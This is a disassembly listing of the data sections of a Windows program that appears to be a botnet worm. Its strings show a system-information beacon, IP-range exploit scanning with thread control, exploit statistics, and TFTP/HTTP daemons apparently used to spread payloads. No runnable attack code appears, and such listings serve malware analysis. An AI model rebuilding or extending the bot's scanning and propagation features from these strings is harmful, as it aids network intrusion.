aHttpSDS	db 'http://%s:%d/%s',0  ; DATA XREF: sub_401DA7+77o
		dd offset dword_4212E8
off_420C38	dd offset sub_401DA7	; DATA XREF: .text:0041CBC1o
					; .data:off_4356B8o
off_420C3C	dd offset loc_44344F+4	; DATA XREF: sub_401E4A+FAo
					; sub_401E4A+142o ...
aS4AlreadyRunni	db 'S4:Already Running',0 ; DATA XREF: sub_401E4A:loc_401F9Ao
		align 4
aS4ThreadStoppe	db 'S4: Thread Stopped',0 ; DATA XREF: sub_401FD7+7Co
		align 4
aS4NoThreadRunn	db 'S4: No Thread Running',0 ; DATA XREF: sub_401FD7:loc_40205Ao
		align 10h
		dd offset dword_421380
off_420C84	dd offset sub_401E4A	; DATA XREF: .text:0041CBDDo
					; .data:off_4356C0o
		dd offset dword_421334
off_420C8C	dd offset sub_401FD7	; DATA XREF: .text:0041CBF9o
					; .data:off_4356BCo
aSystemSCpuIXS@	db 'System: %s [CPU: %i x %s @ %dMhz] [RAM: %iMB/%iMB] [Country: %s] '
					; DATA XREF: sub_40207A+185o
		db '[IP: %s] [User: %s] [System Dir: %s] [Uptime: %I64ud %I64uh %I64u'
		db 'm]',0
		align 4
aNetIpSHostNA	db 'Net: IP: %s Host: N/A',0 ; DATA XREF: sub_40223C+55o
		align 10h
aNetIpSHostS	db 'Net: IP: %s Host: %s',0 ; DATA XREF: sub_40223C+73o
		align 4
		dd offset dword_421418
off_420D4C	dd offset sub_40207A	; DATA XREF: .text:0041CC15o
					; .data:off_4356C4o
		dd offset dword_4213CC
off_420D54	dd offset sub_40223C	; DATA XREF: .text:0041CC31o
					; .data:off_4356C8o
aScanUnknownExp	db 'Scan: Unknown Exploit.',0 ; DATA XREF: sub_4022D6:loc_4023BBo
		align 10h
a____0		db '*.*.*.*',0          ; DATA XREF: sub_4022D6+107o
aA		db '-a',0               ; DATA XREF: sub_4022D6+146o
		align 4
aB		db '-b',0               ; DATA XREF: sub_4022D6+155o
		align 10h
aC		db '-c',0               ; DATA XREF: sub_4022D6+164o
		align 4
aScanNotEnoughT	db 'Scan: Not Enough Threads. %d Available.',0 ; DATA XREF: sub_4022D6+1AEo
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4022D6+228o
					; sub_4022D6+365o
aX_		db 'x.',0               ; DATA XREF: sub_4022D6+23Fo
		align 4
aD_		db '%d.',0              ; DATA XREF: sub_4022D6+253o
aSx_		db '%sx.',0             ; DATA XREF: sub_4022D6+26Bo
		align 4
aSD_		db '%s%d.',0            ; DATA XREF: sub_4022D6+266o
		align 10h
aSx		db '%sx',0              ; DATA XREF: sub_4022D6+2C8o
aSD		db '%s%d',0             ; DATA XREF: sub_4022D6+2DDo
		align 4
aD_x_x_x	db '%d.x.x.x',0         ; DATA XREF: sub_4022D6+3BEo
		align 4
aD_D_x_x	db '%d.%d.x.x',0        ; DATA XREF: sub_4022D6+3A7o
		align 4
aD_D_D_x	db '%d.%d.%d.x',0       ; DATA XREF: sub_4022D6+38Do
		align 10h
aScanSDUsingDTh	db 'Scan: %s:%d Using %d Threads.',0 ; DATA XREF: sub_4022D6+408o
		align 10h
aScanner	db 'Scanner',0          ; DATA XREF: sub_4022D6+4E8o
					; sub_4027F4+42o
aScanAllScanThr	db 'Scan: All Scan Threads Stopped. %d killed.',0
					; DATA XREF: sub_4027F4+BFo
		align 4
aStatisticsExpl	db 'Statistics: Exploits:',0 ; DATA XREF: sub_4028D4+3Bo
		align 4
aSSD		db '%s %s: %d',0        ; DATA XREF: sub_4028D4+62o
		align 4
aSDaemons	db '%s; Daemons:',0     ; DATA XREF: sub_4028D4+84o
		align 4
aSTftpD		db '%s TFTP: %d',0      ; DATA XREF: sub_4028D4+9Ao
aSHttpD		db '%s HTTP: %d',0      ; DATA XREF: sub_4028D4+B0o
		dd offset dword_4214FC
off_420EA4	dd offset sub_4022D6	; DATA XREF: .text:0041CC5Bo
					; .data:off_4356D8o
		dd offset dword_4214B0
off_420EAC	dd offset sub_4027F4	; DATA XREF: .text:0041CC77o
					; .data:off_4356D0o
		dd offset dword_421464
off_420EB4	dd offset sub_4028D4	; DATA XREF: .text:0041CC93o
					; .data:off_4356D4o
dbl_420EB8	dq 5.0e-1		; DATA XREF: sub_41AFA7:loc_41B519r
flt_420EC0	dd 4.2949673e9		; DATA XREF: sub_41AFA7+56Cr
		align 8
		dd 48h,	0Eh dup(0)
		dd offset dword_423064
		dd offset dword_421550
		dd 13h
dword_420F10	dd 3 dup(0)		; DATA XREF: c.7ld2ih:0041D344o
		dd offset off_423008
		dd offset dword_420F24
dword_420F24	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00420F20o
		dd 3, 420F34h, 420F44h,	4210D0h, 42111Ch, 0
		dd offset off_423008
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	420F24h
dword_420F60	dd 3 dup(0)		; DATA XREF: c.7ld2ih:0041D378o
		dd offset off_427330
		dd offset dword_421138
dword_420F74	dd 3 dup(0)		; DATA XREF: c.7ld2ih:0041D398o
		dd offset off_423030
		dd offset dword_420F88
dword_420F88	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00420F84o
		dd 1, 420F98h, 420FA0h,	0
		dd offset off_423030
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	420F88h
dword_420FBC	dd 3 dup(0)		; DATA XREF: c.7ld2ih:0041DC30o
		dd offset off_423E50
		dd offset dword_420FD0
dword_420FD0	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00420FCCo
		dd 2, 420FE0h, 420FECh,	42111Ch, 0
		dd offset off_423E50
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	420FD0h
dword_421008	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420B20o
		dd offset off_4272D8
		dd offset dword_42101C
dword_42101C	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421018o
		dd 1, 42102Ch, 421034h,	0
		dd offset off_4272D8
		align 10h
		dd 0FFFFFFFFh, 0
		dd 40h,	42101Ch
dword_421050	dd 3 dup(0)		; DATA XREF: c.7ld2ih:0041D338o
		dd offset off_4272F0
		dd offset dword_421064
dword_421064	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421060o
		dd 3, 421074h, 421084h,	4210D0h, 42111Ch, 0
		dd offset off_4272F0
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421064h
dword_4210A0	dd 3 dup(0)		; DATA XREF: c.7ld2ih:0041D32Co
		dd offset off_427310
		dd offset dword_4210B4
dword_4210B4	dd 2 dup(0)		; DATA XREF: c.7ld2ih:004210B0o
		dd 2, 4210C4h, 4210D0h,	42111Ch, 0
		dd offset off_427310
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4210B4h, 3 dup(0)
		dd offset off_42734C
		dd offset dword_421100
dword_421100	dd 2 dup(0)		; DATA XREF: c.7ld2ih:004210FCo
		dd 2, 421110h, 421150h,	42111Ch, 0
		dd offset off_427330
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	421138h
dword_421138	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00420F70o
		dd 1, 421148h, 42111Ch,	0
		dd offset off_42734C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421100h
dword_42116C	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420B98o
		dd offset off_427368
		dd offset dword_421180
dword_421180	dd 2 dup(0)		; DATA XREF: c.7ld2ih:0042117Co
		dd 2, 421190h, 42119Ch,	421034h, 0
		dd offset off_427368
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421180h
dword_4211B8	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420B90o
		dd offset off_427380
		dd offset dword_4211CC
dword_4211CC	dd 2 dup(0)		; DATA XREF: c.7ld2ih:004211C8o
		dd 2, 4211DCh, 4211E8h,	421034h, 0
		dd offset off_427380
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4211CCh
dword_421204	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420C1Co
		dd offset off_427394
		dd offset dword_421218
dword_421218	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421214o
		dd 2, 421228h, 421234h,	421034h, 0
		dd offset off_427394
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421218h
dword_421250	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420C14o
		dd offset off_4273AC
		dd offset dword_421264
dword_421264	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421260o
		dd 2, 421274h, 421280h,	421034h, 0
		dd offset off_4273AC
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421264h
dword_42129C	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420C0Co
		dd offset off_4273C4
		dd offset dword_4212B0
dword_4212B0	dd 2 dup(0)		; DATA XREF: c.7ld2ih:004212ACo
		dd 2, 4212C0h, 4212CCh,	421034h, 0
		dd offset off_4273C4
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4212B0h
dword_4212E8	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420C34o
		dd offset off_4273DC
		dd offset dword_4212FC
dword_4212FC	dd 2 dup(0)		; DATA XREF: c.7ld2ih:004212F8o
		dd 2, 42130Ch, 421318h,	421034h, 0
		dd offset off_4273DC
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4212FCh
dword_421334	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420C88o
		dd offset off_4273F8
		dd offset dword_421348
dword_421348	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421344o
		dd 2, 421358h, 421364h,	421034h, 0
		dd offset off_4273F8
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421348h
dword_421380	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420C80o
		dd offset off_427410
		dd offset dword_421394
dword_421394	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421390o
		dd 2, 4213A4h, 4213B0h,	421034h, 0
		dd offset off_427410
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421394h
dword_4213CC	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420D50o
		dd offset off_427424
		dd offset dword_4213E0
dword_4213E0	dd 2 dup(0)		; DATA XREF: c.7ld2ih:004213DCo
		dd 2, 4213F0h, 4213FCh,	421034h, 0
		dd offset off_427424
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4213E0h
dword_421418	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420D48o
		dd offset off_427440
		dd offset dword_42142C
dword_42142C	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421428o
		dd 2, 42143Ch, 421448h,	421034h, 0
		dd offset off_427440
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	42142Ch
dword_421464	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420EB0o
		dd offset off_42745C
		dd offset dword_421478
dword_421478	dd 2 dup(0)		; DATA XREF: c.7ld2ih:00421474o
		dd 2, 421488h, 421494h,	421034h, 0
		dd offset off_42745C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421478h
dword_4214B0	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420EA8o
		dd offset off_427478
		dd offset dword_4214C4
dword_4214C4	dd 2 dup(0)		; DATA XREF: c.7ld2ih:004214C0o
		dd 2, 4214D4h, 4214E0h,	421034h, 0
		dd offset off_427478
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4214C4h
dword_4214FC	dd 3 dup(0)		; DATA XREF: c.7ld2ih:00420EA0o
		dd offset off_427494
		dd offset dword_421510
dword_421510	dd 2 dup(0)		; DATA XREF: c.7ld2ih:0042150Co
		dd 2, 421520h, 42152Ch,	421034h, 0
		dd offset off_427494
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421510h, 2 dup(0)
dword_421550	dd 4674h, 4779h, 69F0h,	8A08h, 0EF18h, 1C8A3h, 1C8BEh
					; DATA XREF: c.7ld2ih:00420F08o
		dd 1C8D9h, 1C8FCh, 1C91Fh, 1C944h, 1C969h, 1C991h, 1C9CCh
		dd 1C9FCh, 1CA21h, 1CA53h, 1CA8Eh, 1CAC3h, 0
dword_4215A0	dd 2 dup(0)		; DATA XREF: sub_40B3F1+2o
					; sub_40B3F1+7o
dword_4215A8	dd 2 dup(0)		; DATA XREF: sub_40B415+2o
					; sub_40B415+7o
dword_4215B0	dd 0			; DATA XREF: sub_402A79+29o
		dd offset sub_402A0D
		dd 0
		dd offset dword_4215EC
		dd 0FFFFFFFFh, 41C89Bh
dword_4215C8	dd 19930522h, 1, 4215C0h, 5 dup(0) ; DATA XREF:	.text:0041C8B4o
		dd 1
dword_4215EC	dd 3, 4215FCh, 421C50h,	421C6Ch, 0 ; DATA XREF:	c.7ld2ih:004215BCo
		dd offset off_423008
		align 8
		dd 0FFFFFFFFh, 0
		dd 28h,	402AB8h
dword_421618	dd 0FFFFFFFEh, 0	; DATA XREF: sub_402E05+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_402E97
		align 8
dword_421638	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4031A5+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4031DB
		align 8
dword_421658	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4034F0+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4035AA
		align 8
dword_421678	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4035C7+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40370C
		align 8
dword_421698	dd 0FFFFFFFEh, 0	; DATA XREF: sub_403884+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4038F5
		align 8
dword_4216B8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4039C3+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_403A19
		align 8
dword_4216D8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_403A51+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_403A97
		align 8
dword_4216F8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_404078+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_404135
		align 8
dword_421718	dd 0FFFFFFFEh, 0	; DATA XREF: .text:004042F4o
		dd 0FFFFFF80h, 0
		dd 0FFFFFFFEh, 4044B9h,	4044BDh, 0FFFFFFFEh, 40447Fh, 404493h
dword_421740	dd 0FFFFFFFEh, 0	; DATA XREF: sub_404D50+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_404DE8
		align 10h
dword_421760	dd 0FFFFFFFEh, 0	; DATA XREF: sub_405019+2o
		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_40517A
		align 10h
dword_421780	dd 0FFFFFFFEh, 0	; DATA XREF: sub_405461+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 54h,	40h, 0
		align 10h
dword_4217A0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_405616+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_4056C1
		align 10h
dword_4217C0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_405765+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40586E
		dd 0FFFFFFFEh, 0
		dd offset sub_40587A
dword_4217E8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_405CE4+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_405D9E
		align 8
dword_421808	dd 0FFFFFFFEh, 0	; DATA XREF: sub_407DBB+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset loc_407E71
		align 8
dword_421828	dd 0FFFFFFFEh, 0	; DATA XREF: sub_408305+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40836C
		align 8
dword_421848	dd 0FFFFFFFEh, 0	; DATA XREF: sub_408851+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40896B
		align 8
dword_421868	dd 0FFFFFFFEh, 0	; DATA XREF: sub_408B90+2o
		dd 0FFFFFF8Ch, 0
		dd 0FFFFFFFEh, 408DB9h,	408DBDh, 0
dword_421888	dd 0FFFFFFFEh, 0	; DATA XREF: sub_408E91+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_408F54
		align 8
dword_4218A8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40902E+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_4090FF
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 40h
dword_4218D0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40A6FF+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40A7D1
		align 10h
dword_4218F0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40B64B+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40B70B
		align 10h
		dd offset loc_40B6CD
		dd offset loc_40B6D7
dword_421918	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40B771+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 40B7B4h,	40B7BDh, 40h, 2	dup(0)
		dd offset sub_40B894
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421934h
dword_421968	dd 19930522h, 2, 421944h, 1, 421954h, 3	dup(0) ; DATA XREF: .text:0041C8CFo
		dd 1, 0
dword_421990	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40B8AC+2o
		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40B9CC
		align 10h
		dd offset loc_40B93C
		dd offset loc_40B945
dword_4219B8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40BA48+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 40BBB3h,	40BBB7h, 0
dword_4219D8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40BBC7+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 40BC4Ch,	40BC50h
dword_4219F4	dd 0			; DATA XREF: sub_40BDB6+162o
		dd offset sub_40B57E
		align 10h
		dd offset dword_421A04
dword_421A04	dd 2, 421A10h, 421C6Ch,	0 ; DATA XREF: c.7ld2ih:00421A00o
		dd offset off_423E50
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	40C10Ch, 0
dword_421A30	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40C208+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 40C228h,	40C22Ch, 0
dword_421A50	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40C254+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 40C278h,	40C27Ch, 0
dword_421A70	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40CEC4+2o
		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 40CF4Ah,	40CF61h, 0
dword_421A90	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D002+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 40D048h,	40D05Ch, 0
dword_421AB0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D0F1+2o
		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_40D200
		align 10h
dword_421AD0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D7D0+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D8A2
		align 10h
dword_421AF0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40DCFF+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40DDF6
		align 10h
dword_421B10	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40DE1D+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40DF5B
		align 10h
dword_421B30	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40E0D9+2o
		dd 0FFFFFFC0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40E247
		align 10h
dword_421B50	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40E383+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40E419
		align 10h
dword_421B70	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40EA60+2o
		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_40EAF9
		align 10h
dword_421B90	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F19E+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F230
		align 10h
dword_421BB0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F260+2o
		dd 0FFFFFFC8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F3F6
		dd 2 dup(0)
		dd offset sub_40F32D
dword_421BD8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F3FF+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F4D6
		align 8
dword_421BF8	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40FB3A+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 40FB57h,	40FB73h, 0
dword_421C18	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41048B+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4104B8h,	4104D4h, 0
		dd offset off_4272F0
		align 10h
		dd 0FFFFFFFFh, 0
		dd 28h,	4013CEh, 0
		dd offset off_427310
		dd 0
		dd 0FFFFFFFFh, 0
		dd 28h,	4013E6h, 0
		dd offset off_427330
		align 8
		dd 0FFFFFFFFh, 0
dword_421C80	dd 0Ch,	403032h, 3, 421C34h, 421C50h, 421C6Ch
					; DATA XREF: c.7ld2ih:00421CA4o
dword_421C98	dd 0			; DATA XREF: sub_40121E+48o
					; sub_4016BA+48o ...
		dd offset loc_4010E1
		dd 0
		dd offset dword_421C80+8
		dd 0
		dd offset off_42734C
		dd 0
		dd 0FFFFFFFFh, 0
dword_421CBC	dd 0Ch,	401637h, 2, 421CA8h, 421C6Ch ; DATA XREF: c.7ld2ih:00421CDCo
dword_421CD0	dd 0			; DATA XREF: sub_4015ED+34o
					; sub_40340B+54o
		dd offset sub_401038
		dd 0
		dd offset dword_421CBC+8
dword_421CE0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_419F50+2o
		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 5 dup(0)
		dd 0FFFFFFFFh, 41C93Ah
dword_421D10	dd 19930522h, 1, 421D08h, 5 dup(0) ; DATA XREF:	.text:0041C955o
		dd 1, 0FFFFFFFFh, 41C95Fh
dword_421D3C	dd 19930522h, 1, 421D34h, 5 dup(0) ; DATA XREF:	.text:0041C97Ao
		dd 1, 0FFFFFFFFh, 41C984h
dword_421D68	dd 19930522h, 1, 421D60h, 5 dup(0) ; DATA XREF:	.text:0041C9B5o
		dd 1, 0FFFFFFFFh, 41C9BFh
dword_421D94	dd 19930522h, 1, 421D8Ch, 5 dup(0) ; DATA XREF:	.text:0041C9EAo
		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd offset sub_40150F
		dd 40h,	2 dup(0)
		dd offset loc_40149D
		dd 2 dup(2), 3,	1, 421DD8h, 2 dup(0)
		dd 3, 1, 421DE8h
dword_421E20	dd 19930522h, 4, 421DB8h, 2, 421DF8h, 3	dup(0) ; DATA XREF: sub_41C8D9+11o
		dd 1, 0
		dd 0FFFFFFFFh, 41C8F4h
dword_421E50	dd 19930522h, 1, 421E48h, 5 dup(0) ; DATA XREF:	.text:0041C90Do
		dd 1, 0
		dd 0FFFFFFFFh, 41C917h
dword_421E80	dd 19930522h, 1, 421E78h, 5 dup(0) ; DATA XREF:	.text:0041C930o
		dd 1, 0
		dd 0FFFFFFFFh, 41C9F4h
dword_421EB0	dd 19930522h, 1, 421EA8h, 5 dup(0) ; DATA XREF:	.text:0041CA0Do
		dd 1, 0
		dd 0FFFFFFFFh, 41CA17h
dword_421EE0	dd 19930522h, 1, 421ED8h, 5 dup(0) ; DATA XREF:	.text:0041CA3Co
		dd 1, 0
		dd 0FFFFFFFFh, 41CA46h
dword_421F10	dd 19930522h, 1, 421F08h, 5 dup(0) ; DATA XREF:	.text:0041CA77o
		dd 1, 0
		dd 0FFFFFFFFh, 41CA81h
dword_421F40	dd 19930522h, 1, 421F38h, 5 dup(0) ; DATA XREF:	.text:0041CAACo
		dd 1, 0
		dd 0FFFFFFFFh, 41CAB6h
dword_421F70	dd 19930522h, 1, 421F68h, 5 dup(0) ; DATA XREF:	.text:0041CAE1o
		dd 1, 41Bh dup(0)
c_7ld2ih	ends

; Section 3. (virtual address 00023000)
; Virtual size			: 00014000 (  81920.)
; Section size in file		: 00014000 (  81920.)
; Offset to raw	data for section: 00023000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 423000h
		dd offset dword_41D310
		dd offset dword_41D310
off_423008	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00420F1Co
					; c.7ld2ih:00420F44o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd offset dword_41D310
		dd offset dword_41D310
off_423030	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00420F80o
					; c.7ld2ih:00420FA0o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
off_423048	dd offset dword_41D310	; DATA XREF: sub_4033F2+3o
		align 10h
dword_423050	dd 2			; DATA XREF: sub_409E64+42r
					; sub_40A004+19r ...
		align 10h
		dd offset sub_40B4CD
dword_423064	dd 3ABA03B6h		; DATA XREF: sub_401DA7+9r
					; sub_401E4A+1Ar ...
dword_423068	dd 0C545FC49h		; DATA XREF: sub_404A3E+AEr
					; sub_40B439+29w ...
		align 10h
dword_423070	dd 0FFFFFFFFh, 16h dup(0) ; DATA XREF: sub_404B71+29o
					; sub_404D50+63o ...
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	31h dup(0)
		dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh
		dd 76757473h, 7A797877h, 0
		db    0
		align 2
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0
		align 4
		dd 21h dup(0)
byte_423290	db 0			; DATA XREF: sub_405019+102w
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h, 0
byte_423398	db 0			; DATA XREF: sub_405019+11Ew
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_423498	dd 0A02980h		; DATA XREF: sub_402ADF+41r
					; sub_404D50+4Cr ...
byte_42349C	db 1			; DATA XREF: sub_404E6E+E3r
		db 2, 4, 8
dword_4234A0	dd 3A4h			; DATA XREF: sub_404E6E:loc_404EAAr
dword_4234A4	dd 82798260h		; DATA XREF: sub_404E6E+12Br
		dd 21h,	0
dword_4234B0	dd 0DFA6h		; DATA XREF: sub_404E6E+C6r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
